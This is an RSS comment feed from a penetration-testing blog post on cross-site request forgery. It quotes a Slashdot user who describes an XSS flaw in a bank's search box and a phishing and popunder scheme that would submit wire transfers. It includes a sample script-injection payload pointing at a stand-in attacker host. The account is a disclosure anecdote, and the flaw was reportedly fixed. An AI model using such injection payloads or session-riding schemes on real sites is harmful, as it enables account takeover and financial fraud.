<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Cross-Site Request Forgery Whitepaper</title>
	<atom:link href="http://www.mypentest.com/cross-site-request-forgery-whitepaper/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mypentest.com/cross-site-request-forgery-whitepaper/</link>
	<description>Penetration Testing Web applications</description>
	<lastBuildDate>Fri, 19 Jun 2009 03:10:24 -0600</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
	<item>
		<title>By: Stuart Moncrieff</title>
		<link>http://www.mypentest.com/cross-site-request-forgery-whitepaper/#comment-158</link>
		<dc:creator>Stuart Moncrieff</dc:creator>
		<pubDate>Wed, 01 Oct 2008 03:35:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.mypentest.com/?p=46#comment-158</guid>
		<description>This is now being discussed on &lt;a href=&quot;http://it.slashdot.org/it/08/09/30/0136219.shtml&quot; rel=&quot;nofollow&quot;&gt;Slashdot&lt;/a&gt;.

My favourite comment so far...

&lt;h4&gt;Unsurprising (Score:5, Informative)&lt;/h4&gt;
by &lt;a href=&quot;//slashdot.org/~karmatic&quot; rel=&quot;nofollow&quot;&gt;karmatic (776420)&lt;/a&gt; on Tuesday September 30, @02:06AM (&lt;a href=&quot;//it.slashdot.org/comments.pl?sid=980243&amp;cid=25201899&quot; rel=&quot;nofollow&quot;&gt;#25201899&lt;/a&gt;)

&lt;p&gt;This really isn&#039;t that surprising.  A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.&lt;/p&gt;&lt;p&gt;So, in an attempt to get to another site, I typed some HTML into the search box &lt;b&gt;on their homepage&lt;/b&gt;, and pretty much every page on their site.  Sure enough, it inserted the HTML into the page without any problems.&lt;/p&gt;&lt;p&gt;So, I got home, and whipped up a phishing email.  It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com.  The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in.  After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in.  It would then close the popunder.&lt;/p&gt;&lt;p&gt;So, with a simple link to a search for something like &lt;script src=&quot;http://evilsite.tld&quot;&gt;, I could take complete control over someone&#039;s bank account.  This would be easy to pull off with an email saying something like &quot;We have detected suspicious activity; click here to log on to wellsfargo.com&quot;.  It really would take them to wellsfargo.com, and they could log in.  You don&#039;t need a user/password if you control the browser.&lt;/p&gt;&lt;p&gt;I let them know that day, and explained how one escapes HTML.  To their credit, it was fixed in a very short period of time.  That still doesn&#039;t excuse that 1) they should know better, and 2) if you&#039;re going to check &lt;b&gt;anything&lt;/b&gt;, it should be the one form that&#039;s &lt;b&gt;on every page&lt;/b&gt;.&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>This is now being discussed on <a href="http://it.slashdot.org/it/08/09/30/0136219.shtml" rel="nofollow">Slashdot</a>.</p>
<p>My favourite comment so far&#8230;</p>
<h4>Unsurprising (Score:5, Informative)</h4>
<p>by <a href="//slashdot.org/~karmatic" rel="nofollow">karmatic (776420)</a> on Tuesday September 30, @02:06AM (<a href="//it.slashdot.org/comments.pl?sid=980243&amp;cid=25201899" rel="nofollow">#25201899</a>)</p>
<p>This really isn&#8217;t that surprising.  A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.</p>
<p>So, in an attempt to get to another site, I typed some HTML into the search box <b>on their homepage</b>, and pretty much every page on their site.  Sure enough, it inserted the HTML into the page without any problems.</p>
<p>So, I got home, and whipped up a phishing email.  It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com.  The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in.  After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it &#8211; while the user was still logged in.  It would then close the popunder.</p>
<p>So, with a simple link to a search for something like &lt;script src=&#8221;http://evilsite.tld&#8221;&gt;, I could take complete control over someone&#8217;s bank account.  This would be easy to pull off with an email saying something like &#8220;We have detected suspicious activity; click here to log on to wellsfargo.com&#8221;.  It really would take them to wellsfargo.com, and they could log in.  You don&#8217;t need a user/password if you control the browser.</p>
<p>I let them know that day, and explained how one escapes HTML.  To their credit, it was fixed in a very short period of time.  That still doesn&#8217;t excuse that 1) they should know better, and 2) if you&#8217;re going to check <b>anything</b>, it should be the one form that&#8217;s <b>on every page</b>.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
